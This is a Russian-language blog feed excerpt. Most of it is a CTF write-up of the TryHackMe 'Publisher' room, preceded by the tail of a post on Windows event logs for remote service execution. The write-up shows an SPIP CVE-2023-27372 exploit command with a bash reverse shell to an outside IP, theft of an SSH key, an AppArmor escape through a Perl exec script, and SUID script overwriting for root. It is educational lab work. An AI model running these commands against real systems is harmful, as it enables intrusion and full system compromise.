    &lt;img src=&quot;https://img1.teletype.in/files/cb/1f/cb1f9d35-4f10-4e7d-95d4-e8dfbe33444b.png&quot; width=&quot;539&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;lWzM&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/27/bf/27bf85d8-fcca-453a-8bb9-d8719c51c327.png&quot; width=&quot;579&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;4Oj4&quot;&gt;Дальнейшие события были связаны с исполнением команд на контроллере. Осуществляется это исполнение через удалённое создание служб:&lt;br /&gt;Событие 5145 (доступ к шаре):&lt;/p&gt;
  &lt;figure id=&quot;J6GJ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d1/1b/d11bc4e1-b570-4e8b-b8fc-32ac214b118d.png&quot; width=&quot;632&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;U6vr&quot;&gt;Событие 4697 (создание службы, используемого для исполнения команд):&lt;/p&gt;
  &lt;figure id=&quot;GPQJ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d8/83/d883b2c4-d5de-4a8a-b11b-fce65806a51a.png&quot; width=&quot;765&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;4l7S&quot;&gt;Событие 4688 (создание процесса):&lt;/p&gt;
  &lt;figure id=&quot;9aVS&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/77/b1/77b1fbfa-67bb-421b-98cd-bd8efd501dc9.png&quot; width=&quot;755&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;I5Mf&quot;&gt;Результат исполнения команды отображается в &lt;code&gt;\\127.0.0.1\ADMIN$\__output&lt;/code&gt;, и несложно понять, что следующим событием будет подключение к ресурсу &lt;code&gt;ADMIN$&lt;/code&gt; к файлу &lt;code&gt;__output&lt;/code&gt;:&lt;/p&gt;
  &lt;p id=&quot;M7rt&quot;&gt;Ниже видна запись в этот файл:&lt;/p&gt;
  &lt;figure id=&quot;29N6&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/ba/08/ba084471-d453-46b7-ba2d-81b21bbd8f8b.png&quot; width=&quot;632&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;WxIS&quot;&gt;Удаленное чтение файла:&lt;/p&gt;
  &lt;figure id=&quot;9BBE&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/77/51/77516a4a-743b-47e4-bde2-db0effb9de1e.png&quot; width=&quot;592&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;h8xF&quot;&gt;И его удаление:&lt;/p&gt;
  &lt;figure id=&quot;Hqdy&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2d/38/2d3856c3-635b-45ee-9e59-4741b923efaa.png&quot; width=&quot;636&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;zYYc&quot;&gt;На этом увлекательное путешествие по этим уязвимостям подошло к концу. Надеюсь, вы узнали для себя что-то новое!&lt;/p&gt;

</content></entry><entry><id>cherepawwka:app_armor_privesc</id><link rel="alternate" type="text/html" href="https://teletype.in/@cherepawwka/app_armor_privesc?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=cherepawwka"></link><title>История одного привеска: AppArmor</title><published>2024-09-27T08:20:36.681Z</published><updated>2024-09-27T08:20:36.681Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/2e/d0/2ed018d1-0747-4c79-b031-037e246d5560.png"></media:thumbnail><category term="cyber-security" label="CyberSecurity"></category><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/4e/c4/4ec4f0c7-8792-4293-833d-8f7411eb567e.png&quot;&gt;Поговорим о том, как неверно сконфигурированный профиль AppArmor позволяет обойти ограничения безопасности и привести к полной компрометации системы.</summary><content type="html">
  &lt;h2 id=&quot;Io8e&quot;&gt;Предисловие&lt;/h2&gt;
  &lt;p id=&quot;t2NZ&quot;&gt;Всем привет! С началом ведения этого канала (который по сути был заметками энтузиаста, желающего как можно скорее вкатиться в ИБ) я делал немало материалов, где делился информацией, полученной в ходе решения тех или иных CTF. Суть была проста: не просто показать решение, а ещё и привести к нему необходимую теорию, чтобы читающий мог полностью понять контекст той или иной уязвимости. Сейчас времени на решение CTF стало меньше, интересные кейсы из жизни обрастают NDA, в силу чего до канала не доходит всё то, чем бы я так хотел поделиться. Но периодически я всё же возвращаюсь к решению тасков, и об одном из них сегодня пойдёт речь. Этот материал, как и весь материал в канале, призван научить вас чему-то новому, рассказать о том, что многие, возможно, не знали или не слышали. А для тех, кто знал или слышал, взглянуть на мою (или уже &lt;strong&gt;нашу&lt;/strong&gt;) точку зрения при решении вопроса. Почему нашу? Этот материал я писал не один, а вместе с &lt;a href=&quot;https://t.me/collapsz&quot; target=&quot;_blank&quot;&gt;@&lt;/a&gt;&lt;a href=&quot;https://t.me/fefuctf&quot; target=&quot;_blank&quot;&gt;collapsz&lt;/a&gt;, одним из моих учеников, которого я своё время вдохновил на поедание питсы🍕 (и изучение кибербеза). Не будем долго тянуть и приступим!&lt;/p&gt;
  &lt;h2 id=&quot;Gwju&quot;&gt;Введение&lt;/h2&gt;
  &lt;p id=&quot;Il2H&quot;&gt;Сегодняшний материал — это тоже своеобразная заметка, сформированная после решения таска на одной из платформ. Мы будем препарировать &lt;a href=&quot;https://tryhackme.com/r/room/publisher&quot; target=&quot;_blank&quot;&gt;Publisher&lt;/a&gt;, комнату с THM.&lt;/p&gt;
  &lt;figure id=&quot;TNQk&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f4/8d/f48d1448-b45b-4e51-825c-0c80b674aa8a.png&quot; width=&quot;2832&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tK52&quot;&gt;Для решения этой комнаты нам потребуется базовый набор инструментов:&lt;/p&gt;
  &lt;ul id=&quot;qYQi&quot;&gt;
    &lt;li id=&quot;N1Nc&quot;&gt;ffuf;&lt;/li&gt;
    &lt;li id=&quot;9djS&quot;&gt;BurpSuite (опционально);&lt;/li&gt;
    &lt;li id=&quot;Bu6L&quot;&gt;&lt;a href=&quot;https://github.com/nuts7/CVE-2023-27372&quot; target=&quot;_blank&quot;&gt;Эксплоит с GitHub;&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;nB1X&quot;&gt;IDA (да, это не шутка);&lt;/li&gt;
    &lt;li id=&quot;9YxQ&quot;&gt;LinPEAS.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;xi3C&quot;&gt;Поехали разбираться!&lt;/p&gt;
  &lt;h2 id=&quot;kqQn&quot;&gt;Первоначальный доступ&lt;/h2&gt;
  &lt;p id=&quot;fuzU&quot;&gt;Спавним машинку, и первым делом, само собой, запускаем сканирование портов&lt;/p&gt;
  &lt;ul id=&quot;7bB8&quot;&gt;
    &lt;li id=&quot;JWhV&quot;&gt;используем nmap с флагами -sC и -sV для определения сервисов и их версий;&lt;/li&gt;
    &lt;li id=&quot;qcPs&quot;&gt;результат записываем в файл nmap_initial.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;lEJ3&quot; data-lang=&quot;bash&quot;&gt;sudo nmap -sC -sV 10.10.177.241 &amp;gt; nmap_initial&lt;/pre&gt;
  &lt;p id=&quot;S4Hg&quot;&gt;На выводе получаем стандартный набор портов – 80 и 22. Видим, что на 80 порту крутится Apache 2.4.41, а на 22 – OpenSSH 8.2p1.&lt;/p&gt;
  &lt;pre id=&quot;c5J9&quot; data-lang=&quot;bash&quot;&gt;Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-01 03:31 EDT
Nmap scan report for 10.10.177.241
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Publisher&amp;#x27;s Pulse: SPIP Insights &amp;amp; Tips
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.68 seconds&lt;/pre&gt;
  &lt;p id=&quot;qB3U&quot;&gt;Никаких задокументированных уязвимостей, которые могли бы нам помочь проломить вэб, на эту версии ПО нет, а на 22 порту нас, очевидно, никто не ждет, поэтому отправимся изучать 80, предварительно закинув адрес и доменное имя машины в hosts.&lt;/p&gt;
  &lt;pre id=&quot;9AnT&quot; data-lang=&quot;bash&quot;&gt;sudo echo &amp;quot;10.10.200.194 publisher.thm&amp;quot; | sudo tee -a /etc/hosts&lt;/pre&gt;
  &lt;p id=&quot;yxgS&quot;&gt;На 80 порту нас встречает полностью неинтерактивный лендинг CMS Spip, ловить здесь особо нечего, исходный код страниц тоже ничего интересного не расскажет.&lt;/p&gt;
  &lt;figure id=&quot;gI6E&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d4/07/d4075915-4f57-4d76-a856-015de71379c4.png&quot; width=&quot;3600&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;g82O&quot;&gt;Попробуем поискать директории&lt;/p&gt;
  &lt;pre id=&quot;Z1ON&quot; data-lang=&quot;bash&quot;&gt;ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://publisher.thm/FUZZ&lt;/pre&gt;
  &lt;p id=&quot;v7Y1&quot;&gt;Находим директорию /spip:&lt;/p&gt;
  &lt;figure id=&quot;Aeqc&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d6/6a/d66ab073-bedf-45c4-b48c-15011cea4acf.png&quot; width=&quot;3594&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;gEjY&quot;&gt;Интересного, казалось бы, ничего нет, однако в коде страницы находим версию CMS – Spip 4.2.0.&lt;/p&gt;
  &lt;figure id=&quot;7LzU&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1f/fa/1ffa5ee2-0b1f-47c8-9ddd-574bb5e4eb1f.png&quot; width=&quot;1088&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;o1jv&quot;&gt;Немного погуглив, находим &lt;a href=&quot;https://github.com/nuts7/CVE-2023-27372&quot; target=&quot;_blank&quot;&gt;CVE-2023-27372&lt;/a&gt; на эту версию CMS.&lt;/p&gt;
  &lt;figure id=&quot;L7Hg&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/07/43/0743e9ab-93aa-4585-bade-f9f751f329c1.png&quot; width=&quot;1604&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;oXBy&quot;&gt;Суть уязвимости заключается в возможности удаленного выполнения кода из-за некорректной обработки сериализации, в рамках этой статьи мы не будем подробно на этом останавливаться (тем более про частные случаи сериализации я писал на своём канале). Клонируем репозиторий, запускаем эксплоит и ловим обратный шелл:&lt;/p&gt;
  &lt;pre id=&quot;Gh2S&quot; data-lang=&quot;bash&quot;&gt;python3 CVE-2023-27372.py -u http://10.10.200.194/spip/ -c &amp;#x27;bash -c &amp;quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.9.1.23/4444 0&amp;gt;&amp;amp;1&amp;quot;&amp;#x27; -v&lt;/pre&gt;
  &lt;p id=&quot;BlQF&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;zCHC&quot;&gt;Продвижение&lt;/h2&gt;
  &lt;p id=&quot;G2fc&quot;&gt;Итак, мы попали в систему:&lt;/p&gt;
  &lt;figure id=&quot;lZR3&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1d/84/1d84780e-d5d4-4e45-95bb-f2992aebf9b8.png&quot; width=&quot;1696&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;aI9a&quot;&gt;Немного изучив машину, мы выяснили, что наша следующая цель – пользователь think, а в его домашней директории нас дожидался его ssh-ключ:&lt;/p&gt;
  &lt;figure id=&quot;DVAo&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/09/c6/09c69e16-0b7b-422c-a477-93b81fa17947.png&quot; width=&quot;2168&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Q6mz&quot;&gt;Забираем себе этот ключ и подключаемся с ним по ssh:&lt;/p&gt;
  &lt;pre id=&quot;8htk&quot; data-lang=&quot;bash&quot;&gt;ssh think@10.10.57.202 -i think.ssh&lt;/pre&gt;
  &lt;p id=&quot;Xl0H&quot;&gt;И здесь мы, наконец, подобрались к тому, из-за чего этому материалу было суждено увидеть свет – эскалация привилегий. Мы загрузили на машинку LinPEAS (ультимативный скрипт для поиска векторов эскалации привилегий), однако при попытке выдать ему права на исполнение получили следующее:&lt;/p&gt;
  &lt;figure id=&quot;FU27&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/cf/70/cf709cfa-20a1-4a9c-ad97-f2cb3a580cc4.png&quot; width=&quot;1328&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;iGRG&quot;&gt;Возникает непонимание, но вернёмся к этому позже. Обойти это ограничение удалось путем предварительной установки необходимых прав перед копированием файла на машину:&lt;/p&gt;
  &lt;pre id=&quot;C53p&quot; data-lang=&quot;bash&quot;&gt;chmod +x linpeas.sh
scp -i /home/kali/thm/publisher/think.ssh /home/kali/thm/publisher/linpeas.sh think@publisher.thm:/home/think/1.sh&lt;/pre&gt;
  &lt;p id=&quot;Rv7f&quot;&gt;После запуска LinPEAS нашел SUID-бит на исполняемом файле, не являющимся стандартным для Unix-систем:&lt;/p&gt;
  &lt;figure id=&quot;yPCu&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a4/2a/a42abc81-434e-41b2-a1dd-bc8fec774237.png&quot; width=&quot;2432&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;i5aD&quot;&gt;Декомпилировав код, мы увидели следующую картину:&lt;/p&gt;
  &lt;figure id=&quot;nV2W&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9f/56/9f56e463-47f5-4b21-9e71-33977ce0f4fd.png&quot; width=&quot;1940&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;jMXG&quot;&gt;В итоге бинарник выполняет следующую команду:&lt;/p&gt;
  &lt;pre id=&quot;cFkd&quot; data-lang=&quot;bash&quot;&gt;/bin/bash -p /opt/run_container.sh &lt;/pre&gt;
  &lt;p id=&quot;giLk&quot;&gt;Несмотря на то, что у нас есть права на чтение директории /opt, прочитать её содержимое нам не удалось – почему так?&lt;/p&gt;
  &lt;figure id=&quot;Ni5C&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d7/5b/d75b8f29-f892-4e19-af8b-39e7b62616a4.png&quot; width=&quot;1630&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;meXu&quot;&gt;Однако, прочитать содержимое run_container.sh, как и права на этом файле, удалось:&lt;/p&gt;
  &lt;figure id=&quot;Jnlu&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/91/cb/91cbe095-e60a-479a-b674-31d0b363dd15.png&quot; width=&quot;1714&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;oLgA&quot;&gt;Сразу можно заметить, что у нас есть права на запись в этот файл, а значит, SUID-бинарник выполнит любой код, который мы впишем в этот файл, от имени рута. Казалось бы, на этом машина заканчивается – но нет. Попытка изменить содержимое файла run_container.sh закончилась следующим:&lt;/p&gt;
  &lt;figure id=&quot;X6JC&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8a/b4/8ab477f0-3186-4c22-b49c-636aa0eb58d2.png&quot; width=&quot;1142&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;trPE&quot;&gt;Почему же так вышло? Причина этого, конечно же, &lt;strong&gt;AppArmor&lt;/strong&gt;.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(236, 74%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;BRW6&quot;&gt;&lt;strong&gt;AppArmor &lt;/strong&gt;— программный инструмент, основанный на политиках безопасности (известных также как &lt;u&gt;профили&lt;/u&gt;), которые определяют, к каким системным ресурсам и с какими привилегиями может получить доступ то или иное приложение. AppArmor реализует Mandatory Access Control (MAC), привязывая атрибуты контроля доступа непосредственно к программам, а не к пользователям. Во время загрузки ОС AppArmor загружает профили в ядро, и эти профили определяют, к каким ресурсам (сетевым подключениям, raw-сокетам, файлам) та или иная программа может получить доступ.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;fYLF&quot;&gt;Существует два режима работы для профилей AppArmor:&lt;/p&gt;
  &lt;ul id=&quot;7GJO&quot;&gt;
    &lt;li id=&quot;ipwk&quot;&gt;&lt;strong&gt;Enforcement Mode&lt;/strong&gt; — этот режим активно применяет ограничения, описанные в профиле, и блокирует действия, которые их нарушают. AppArmor также и регистрирует любые попытки нарушения политик через syslog или auditd.&lt;/li&gt;
    &lt;li id=&quot;85SF&quot;&gt;&lt;strong&gt;Complain Mode&lt;/strong&gt; — в этом режиме AppArmor не блокирует действия. Вместо этого он просто регистрирует попытки нарушения профилей.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;8ylq&quot;&gt;Профили AppArmor обычно можно найти в &lt;strong&gt;/etc/apparmor.d/&lt;/strong&gt;. С помощью &lt;code&gt;sudo aa-status&lt;/code&gt; можно получить список двоичных файлов, которые ограничены профилем AppArmor. Для поиска профиля под конкретный бинарь необходимо взять его полный путь в системе, изменить символы &amp;quot;/&amp;quot; на точки в пути и добавить в начало &lt;code&gt;/etc/apparmor.d/&lt;/code&gt;. Например, профиль AppArmor для &lt;strong&gt;/usr/bin/man&lt;/strong&gt; будет находиться в &lt;strong&gt;/etc/apparmor.d/usr.bin.man&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;ELNu&quot;&gt;Вернёмся к нашей машине. Если проверить содержимое файла /etc/passwd, мы увидим, что у пользователя think по умолчанию установлена оболочка ash&lt;/p&gt;
  &lt;pre id=&quot;2dro&quot; data-lang=&quot;bash&quot;&gt;think@publisher:/$ cat /etc/passwd | grep think
think:x:1000:1000:,,,:/home/think:/usr/sbin/ash&lt;/pre&gt;
  &lt;p id=&quot;yw8X&quot;&gt;Путь — &lt;strong&gt;/usr/sbin/ash&lt;/strong&gt;, меняем &lt;code&gt;/&lt;/code&gt; на &lt;code&gt;.&lt;/code&gt;, получаем &lt;strong&gt;usr.sbin.ash&lt;/strong&gt;. Теперь пытаемся прочитать профиль, соответствующий нашей оболочке, и видим следующую картину:&lt;/p&gt;
  &lt;pre id=&quot;I18G&quot; data-lang=&quot;bash&quot;&gt;think@publisher:/$ cat /etc/apparmor.d/usr.sbin.ash
#include &amp;lt;tunables/global&amp;gt;

/usr/sbin/ash flags=(complain) {
  #include &amp;lt;abstractions/base&amp;gt;
  #include &amp;lt;abstractions/bash&amp;gt;
  #include &amp;lt;abstractions/consoles&amp;gt;
  #include &amp;lt;abstractions/nameservice&amp;gt;
  #include &amp;lt;abstractions/user-tmp&amp;gt;

  # Remove specific file path rules
  # Deny access to certain directories
  deny /opt/ r,
  deny /opt/** w,
  deny /tmp/** w,
  deny /dev/shm w,
  deny /var/tmp w,
  deny /home/** w,
  /usr/bin/** mrix,
  /usr/sbin/** mrix,

  # Simplified rule for accessing /home directory
  owner /home/** rix,
}&lt;/pre&gt;
  &lt;p id=&quot;cwEn&quot;&gt;Таким образом, наша задача – воспользоваться мисконфигурациями в настройке AppArmor для оболочки ash, получить &amp;quot;полноценный&amp;quot; шелл, переписать run_container.sh и захватить рута.&lt;/p&gt;
  &lt;p id=&quot;65Ne&quot;&gt;Приступим!&lt;/p&gt;
  &lt;p id=&quot;7Oul&quot;&gt;Для начала проанализируем конфигурацию ash:&lt;/p&gt;
  &lt;pre id=&quot;1qJG&quot; data-lang=&quot;bash&quot;&gt;  deny /opt/ r,
  deny /opt/** w,
  deny /tmp/** w,
  deny /dev/shm w,
  deny /var/tmp w,
  deny /home/** w,&lt;/pre&gt;
  &lt;p id=&quot;F5Ku&quot;&gt;Здесь видим следующее:&lt;/p&gt;
  &lt;ul id=&quot;BAwz&quot;&gt;
    &lt;li id=&quot;gFQO&quot;&gt;deny &lt;strong&gt;&lt;code&gt;opt/ r&lt;/code&gt;&lt;/strong&gt; означает запрет директории на чтение&lt;/li&gt;
    &lt;li id=&quot;GeSB&quot;&gt;deny &lt;code&gt;/opt/** w&lt;/code&gt; означает &lt;em&gt;рекурсивный&lt;/em&gt; запрет директории на запись, т.е. мы не можем писать ни в /opt/, ни в какую-либо из её субдиректорий&lt;/li&gt;
    &lt;li id=&quot;RMqL&quot;&gt;deny &lt;code&gt;/tmp/** w&lt;/code&gt; аналогично&lt;/li&gt;
    &lt;li id=&quot;9Yty&quot;&gt;deny &lt;code&gt;/dev/shm w&lt;/code&gt; – мы не можем писать в /dev/ и не можем изменять директорию /dev/shm, однако в данном случае это правило не является рекурсивным. Проверим директорию /dev/shm/ на возможность создания там нового файла:&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;n0Iq&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/43/5e/435e6b0b-f9ca-4cd0-bba8-2d6ed434e447.png&quot; width=&quot;1518&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;yrtV&quot;&gt;Файл записан. Теперь нужно подумать, как нам выйти за пределы ash. Помимо кучи других исполняемых файлов на машине присутствует интерпретатор языка Perl:&lt;/p&gt;
  &lt;pre id=&quot;7dVc&quot; data-lang=&quot;bash&quot;&gt;think@publisher:/dev/shm$ ls -la /usr/bin/perl
-rwxr-xr-x 2 root root 3478464 Nov 23  2023 /usr/bin/perl&lt;/pre&gt;
  &lt;section style=&quot;background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;VAUO&quot;&gt;Perl – это высокоуровневый язык программирования, который умеет, в том числе, работать с системными вызовами.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;rGxr&quot;&gt;Благодаря этому мы, находясь в ash, можем обратиться к perl и запустить через него /bin/sh, тем самым сняв с себя ограничения, которые мы нашли в конфигурации AppArmor ash. Чтобы реализовать такую &amp;quot;сложную&amp;quot; процедуру, потребуется лишь пара шагов. Первым делом мы записываем команду для вызова /bin/sh в скрипт-файл &lt;code&gt;shell.pl&lt;/code&gt; и располагаем этот скрипт в директории /dev/shm/, поскольку знаем, что у нас есть возможность записывать файлы в эту директорию.&lt;/p&gt;
  &lt;pre id=&quot;Gdw0&quot; data-lang=&quot;bash&quot;&gt;echo -e &amp;#x27;#!/usr/bin/perl\nexec &amp;quot;/bin/sh&amp;quot;&amp;#x27; &amp;gt; /dev/shm/shell.pl&lt;/pre&gt;
  &lt;ul id=&quot;ktke&quot;&gt;
    &lt;li id=&quot;hwNg&quot;&gt;Флаг &lt;code&gt;-e&lt;/code&gt; используется для включения интерпретации бэкслеша, который используется в нагрузке.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;H6Qt&quot;&gt;Далее мы добавляем нашему скрипту права на выполнение и просто его запускаем:&lt;/p&gt;
  &lt;pre id=&quot;aZSQ&quot; data-lang=&quot;bash&quot;&gt;chmod +x /dev/shm/shell.pl
./shell.pl&lt;/pre&gt;
  &lt;p id=&quot;Migb&quot;&gt;В результате мы получаем unrestricted шелл, внутри которого ограничения AppArmor не работают. Чтобы в этом убедиться, можем просто прочитать содержимое директории /opt/, к которому мы не имели доступа ранее:&lt;/p&gt;
  &lt;figure id=&quot;YaV1&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a7/19/a7198d55-c6cf-4328-895d-40ac75b2d71d.png&quot; width=&quot;1372&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;DL3n&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;cNNU&quot;&gt;Эскалация&lt;/h2&gt;
  &lt;p id=&quot;B0NX&quot;&gt;Теперь, когда у нас на руках полноценный шелл, возвращаемся к нашему вектору эскалации и пишем в run_container.sh необходимый нам код:&lt;/p&gt;
  &lt;pre id=&quot;mJ0v&quot; data-lang=&quot;bash&quot;&gt;echo &amp;#x27;/bin/bash -p&amp;#x27; &amp;gt; run_container.sh&lt;/pre&gt;
  &lt;p id=&quot;8YCB&quot;&gt;Теперь, как только мы запустим бинарник /usr/sbin/run_container, он сразу же выполнит код run_container.sh, в который мы записали вызов шелла:&lt;/p&gt;
  &lt;figure id=&quot;3Unc&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/84/a9/84a99b96-88ec-4ab9-b957-33b48eeb127e.png&quot; width=&quot;1372&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;kHl4&quot;&gt;Так, мы получили привилегированный шелл, и осталось лишь собрать флаги!&lt;/p&gt;

</content></entry></feed>